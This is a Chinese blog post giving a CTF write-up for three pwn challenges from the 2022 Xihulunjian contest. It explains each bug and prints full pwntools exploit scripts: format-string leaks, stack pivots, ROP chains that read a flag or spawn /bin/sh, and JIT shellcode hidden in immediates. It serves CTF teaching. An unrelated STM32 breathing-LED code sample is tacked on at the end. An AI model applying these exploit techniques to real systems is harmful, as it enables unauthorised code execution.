2022西湖论剑pwn部分wp

挺久没发过博客了,水一篇(

和队友一起打到初赛第六,这次属实是没pwner什么事,pwn题难的难,简单的简单,拉不开差距。

Message Board

程序给了一次格式化字符串,拿来泄露栈地址后栈迁移。

这里奇怪的是我本地泄露某一个栈地址,在我本机是glibc 2.31 9.9的情况以及patch过glibc-all-in-one中libc的情况在远程均无法成功。需要换一个栈地址才行。

一次性调用程序本身的call_read gadget+栈迁移orw即可。(更简单的方法是重回main)

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'

def qwq(name):
  log.success(hex(name))

def debug(point):
  gdb.attach(r,'b '+str(point))

# r = process('/mnt/hgfs/ubuntu/xhlj/Message/pwn')
r = remote('tcp.cloud.dasctf.com',23566)
elf = ELF('/mnt/hgfs/ubuntu/xhlj/Message/pwn')
libc = ELF('/mnt/hgfs/ubuntu/xhlj/Message/libc.so.6')


r.recvuntil(b"Welcome to DASCTF message board, please leave your name:")

# debug("printf")
r.sendline(b'(%28$p)')
r.recvuntil(b'(')

stack_addr = int(r.recvuntil(b')')[:-1],16)-0x1a0


qwq(stack_addr)

r.recvuntil(b"Now, please say something to DASCTF:")

pop_rdi = 0x0000000000401413
leave_ret = 0x00000000004012e0
call_read = 0x401378


payload = p64(stack_addr+0xb0+0x28)+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(call_read)
payload = payload.ljust(0xb0,b'\0')
payload+= p64(stack_addr)+p64(leave_ret)

r.send(payload)

libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))-libc.sym["puts"]

pause()
open_addr = libc_base+libc.sym["open"]
pop_rsi = libc_base+0x000000000002601f
pop_rdx = libc_base+0x0000000000142c92

orw = p64(pop_rdi)+p64(stack_addr+0xd0)+p64(pop_rsi)+p64(0)+p64(open_addr)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(elf.bss()+0x800)+p64(pop_rdx)+p64(0x50)+p64(elf.plt["read"])+p64(pop_rdi)+p64(elf.bss()+0x800)+p64(elf.plt["puts"])
orw = orw.ljust(0xa8,b'\0')+b'./flag\x00\x00'
orw+= p64(stack_addr+0x28-8)+p64(leave_ret)
r.send(orw)

qwq(libc_base)
r.interactive()

babycalc

Read buf的途中可以覆盖掉局部变量i。因此我们可以做到①负向栈上任意写②正向v3+0-0xff偏移内任意更改一字节。

负向栈上任意写不太有用,我们可以看到同时有一个off by null漏洞。

因此可以考虑改该函数原本返回地址‘nop‘为’leave_ret’。实现栈迁移。

当然由于off by null栈地址不确定性,因此需要爆破,成功概率大概是1/16。

同时为了避免重回main后第二次又需要爆破导致成功概率变成1/256,我们尽量一次性提权。

因此泄露libc地址后用csu调用read函数覆写got表,然后调用system(“/bin/sh”)提权。

至于后面的判断条件用z3解一解就好了(甚至可以手算)。

Libcsearcher出现了一些问题报错了,远程泄露puts真实地址后在libc.rip上查询,大概率为glibc 2.23 11.3后本地copy一份libc.so.6直接打就行。

from pwn import *
from LibcSearcher import*
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.log_level = 'debug'
context.arch = 'amd64'

def qwq(name):
  log.success(hex(name))

def debug(point):
  gdb.attach(r,'b '+str(point))

# r = process('/mnt/hgfs/ubuntu/xhlj/babycalc')
elf = ELF('/mnt/hgfs/ubuntu/xhlj/babycalc')
libc = ELF('/mnt/hgfs/ubuntu/xhlj/libc.so.6')

pop6_ret = 0x400C9A

def csu(rdi,rsi,rdx,call_addr):
    payload = p64(pop6_ret)+p64(0)+p64(1)+p64(call_addr)+p64(rdx)+p64(rsi)+p64(rdi)+p64(0x400c80)+p64(0)*7
    return payload

def pwn():
  num = [19,36,53,70,55,66,17,161,50,131,212,101,118,199,24,3]

  

  pop_rdi = 0x0000000000400ca3
  # debug("* 0x400C18")
  rop_chain=[
    pop_rdi,
    elf.got["puts"],
    elf.plt["puts"],
    csu(0,elf.got["puts"],0x30,elf.got["read"]),
    pop_rdi,
    elf.got["puts"]+8,
    elf.plt['puts']
  ]
  print(hex(len(flat(rop_chain))))
  payload = str(0x18).encode().ljust(0x8,b'\0')
  payload+=p64(pop_rdi+1)*4
  rop_chain_size = len(flat(rop_chain))
  payload+= flat(rop_chain)
  for i in range(0x10):
    payload+=p8(num[i])
  payload = payload.ljust(0xfc,b'\0')+p32(0x38)

  r.recvuntil(b'number')
  r.send(payload)

  puts_addr=u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))
  pause()
  libc_base = puts_addr-libc.sym["puts"]
  system_addr = libc_base+libc.sym["system"]
  r.sendline(p64(system_addr)+b'/bin/sh\x00')

  qwq(libc_base)
  r.interactive()


while True:
  r = remote('tcp.cloud.dasctf.com',25351)
  
  # r = process('/mnt/hgfs/ubuntu/xhlj/babycalc')
  try:
      pwn()
  except EOFError:
      r.close()
      continue

Jit

ln3师傅同意收录其wp如下。

基本逻辑

输入字节码, 存储到IRstream string中

向可执行段写入起始汇编代码, 内容如注释

为每个函数生成汇编

一个函数字节码header结构为0xff | id | argcnt | localcnt, 共4字节

将函数信息以id为key放入map中, 并向可执行段中写入sub rsp,xx的机器码, xx由localcnt决定

随后进入生成汇编函数体和return相关语句的逻辑

主要是循环根据字节码派发生成汇编

变量分为局部变量跟参数, 索引从1起始

其栈帧构造大致如下

        |--------|
rsp --> | localB |
        |--------|
        | localA |
		|--------|
rbp --> |retaddr |
        |--------|
        |  arg1  |
        |--------|
		|  arg2  |
        |--------|
        |  arg3  |
		|--------|
		| oldrbp |
        |--------|

对变量的引用模式如下

var2idx将var的索引转为在栈中的偏移量

pvar2reg通过lea指令将偏移量转化成地址存入rdi

var2reg调用pvar2reg之后通过解索引获取变量的值存入rsi

其他操作较容易理解不再赘述

漏洞分析

经过一些测试分析发现生成的指令较为紧凑, 无法拼接指令

所以转而分析实现复杂一些的call指令

这个call指令实现的有很多bug

首先可以看到一个比较特殊的点是push rbp, 这说明在这个jit中是父函数为子函数新建栈帧, 调整rsp, 分配栈空间

然后将存在vector中的参数索引取出转化为值存入栈

但是明显注意到, 在函数末尾, 并没有把参数占用栈空间回收, 同时在将参数存入栈时, 使用的偏移量均为负数,

与我们刚刚总结出的栈布局矛盾,令人疑惑

我们查看函数的返回实现

显然只考虑回收了函数的局部变量, 并没有回收参数部分

这导致父函数的栈不平衡, 在父函数返回时add rsp,xx不能复位到正确的位置, 会落到局部变量中, 使得可以劫持控制流

另外, 在填充call指令时, 也有一个bug

call指令长度有5字节, 1字节0xe8的操作码与4字节的跳转位置相对偏移, 这里偏移以call指令的下一条指令为起始地址来计算

write写入时会修改exec_wr指针, 向后移动, 所以此时exec_wr并不指向call指令开头, 而是后移了一字节

所以此时call指令下一条指令地址应为exec_wr+4, 这里的代码为exec_wr+5, 这导致call的目的地实际向上偏移了一字节

不幸的是以上两个bug均无法利用

在这里的判断逻辑

要求了必须要存在一个id为0的函数, 且函数不能具有参数, 同时一定要生成在初始汇编代码之后

而此时其他函数都尚未载入, 对于0 id函数来说都不可见, 同时其自身不含参数, 无法调用自身触发call指令关于参数的漏洞

笔者花了很多时间思考如何去绕过这种限制, 无果

而后决定仔细审计考察一遍id 0 函数能够执行的命令, 希望能够找到一些线索

然后发现了预期的漏洞

根据我们刚才的栈布局图可知当var2idx的参数为0是索引到的应该为函数返回值, 所以这里在开头即检查了变量是否为0

但是在locals的分支这里却存在为0的可能性

一个函数最多能拥有32个局部变量, 32 * 8 = 0x100, 会在向char类型转换时变为0

这意味这我们可以直接引用函数的返回地址, 随意存取修改

利用手法

利用手法是经典的jit利用, 与ciscn 2022的llvm pass pwn相似, 主要利用汇编中的常数来作为汇编代码执行, 并通过jmp来连接

程序提供了一个movabs rsi, xxx, 可以有8字节的数据, 其中有2字节用来jmp到下一段shellcode

具体见exp

from pwn import *
context.arch = 'amd64'

payload = b''
def create_func(id,arg_cnt,local_cnt):
    global payload
    hdr = b'\xff' + p8(id) + p8(arg_cnt) + p8(local_cnt)
    payload += hdr

def mov_var_imm(vidx,imm):
    global payload
    payload += p8(1)
    payload += p8(vidx | 0x80)
    payload += p64(imm)

def callf(fid,retvar,arg_cnt,args=None):
    global payload
    payload += p8(6)
    payload += p8(fid)
    payload += p8(retvar)
    payload += p8(arg_cnt)
    if arg_cnt != 0:
        for i in range(arg_cnt):
            payload += p8(args[i])

def mov(idx1,idx2):
    global payload
    payload += p8(2)
    payload += p8(idx1)
    payload += p8(idx2)

def xor(idx1,idx2):
    global payload
    payload += p8(5)
    payload += p8(idx1)
    payload += p8(idx2)
def retv(var_idx):
    global payload
    payload += p8(0)
    payload += p8(var_idx)

sc = '''mov eax, 0x01010101
xor eax, 0x6c662f2e ^ 0x01010101
mov ebx, 0x0101
xor ebx, 0x6761 ^ 0x0101
shl rbx,32
or rax,rbx
push rax
push SYS_open
pop rax
mov rdi, rsp
xor esi, esi
syscall
mov r10d, 0x7fffffff
mov rsi, rax
push SYS_sendfile
pop rax
push 1
pop rdi
cdq
syscall'''

ret_off = 0x80 | 0x20
create_func(0,0,0x20)
mov(0x81,ret_off)
mov_var_imm(0x82,0x62)
xor(0x81,0x82)
mov(ret_off,0x81)
retv(0x81)

create_func(1,0,1)
def make_qword(sc):
    payload = asm(sc).ljust(6,b'\x90') + b'\xeb\x09'
    return u64(payload)
for i in sc.splitlines():
    mov_var_imm(1,make_qword(i))
retv(0x81)
# sh = process('./jit')
sh = remote('tcp.cloud.dasctf.com','21128')
    
# gdb.attach(sh)
# pause()
sh.send(payload)

sh.interactive()
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
以下是一个基于STM32的PWM实现呼吸灯的亮度变化函数部分的示例代码: ```c #include "stm32f10x.h" // 定义PWM输出引脚 #define LED_PIN GPIO_Pin_13 #define LED_GPIO GPIOC // 定义PWM通道 #define PWM_CHANNEL TIM_OCMode_PWM1 // 定义呼吸灯周期 #define BREATHE_PERIOD 1000 // 定义计数器初始值 #define COUNTER_INIT 0 // 定义计数器最大值 #define COUNTER_MAX 1000 // 初始化PWM void PWM_Init(void) { RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOC, ENABLE); // 使能GPIOC时钟 RCC_APB2PeriphClockCmd(RCC_APB2Periph_AFIO, ENABLE); // 使能AFIO时钟 RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3, ENABLE); // 使能TIM3时钟 GPIO_InitTypeDef GPIO_InitStructure; GPIO_InitStructure.GPIO_Pin = LED_PIN; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP; GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; GPIO_Init(LED_GPIO, &GPIO_InitStructure); TIM_TimeBaseInitTypeDef TIM_TimeBaseStructure; TIM_TimeBaseStructure.TIM_Period = BREATHE_PERIOD - 1; TIM_TimeBaseStructure.TIM_Prescaler = 71; TIM_TimeBaseStructure.TIM_ClockDivision = TIM_CKD_DIV1; TIM_TimeBaseStructure.TIM_CounterMode = TIM_CounterMode_Up; TIM_TimeBaseInit(TIM3, &TIM_TimeBaseStructure); TIM_OCInitTypeDef TIM_OCInitStructure; TIM_OCInitStructure.TIM_OCMode = PWM_CHANNEL; TIM_OCInitStructure.TIM_OutputState = TIM_OutputState_Enable; TIM_OCInitStructure.TIM_Pulse = COUNTER_INIT; TIM_OCInitStructure.TIM_OCPolarity = TIM_OCPolarity_High; TIM_OC1Init(TIM3, &TIM_OCInitStructure); TIM_Cmd(TIM3, ENABLE); } // 呼吸灯亮度变化函数 void Breathe_LED(void) { static uint16_t counter = COUNTER_INIT; static uint8_t direction = 0; if (counter >= COUNTER_MAX) { direction = 1; } else if (counter <= COUNTER_INIT) { direction = 0; } if (direction == 0) { counter++; } else { counter--; } TIM_SetCompare1(TIM3, counter); } int main(void) { PWM_Init(); while (1) { Breathe_LED(); } } ``` 该函数使用了STM32的定时器和PWM输出来实现呼吸灯的亮度变化。在初始化函数中,我们使用了TIM3定时器和GPIOC的13号引脚作为PWM输出引脚。定时器的时钟频率为72MHz,预分频器为71,计数器最大值为999,因此定时器的周期为1ms,也就是呼吸灯的周期为1s。 在呼吸灯亮度变化函数中,我们使用了一个静态变量`counter`来记录当前PWM的占空比。`direction`变量用于记录占空比的变化方向,0表示占空比增加,1表示占空比减小。当占空比达到最大值或最小值时,我们需要改变占空比的变化方向。 最后,我们使用`TIM_SetCompare1()`函数来设置PWM的占空比,从而实现呼吸灯的亮度变化。函数中的`TIM3`和`TIM_OC1`分别表示使用的定时器和PWM通道。`counter`变量的值将被设置为PWM的占空比。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值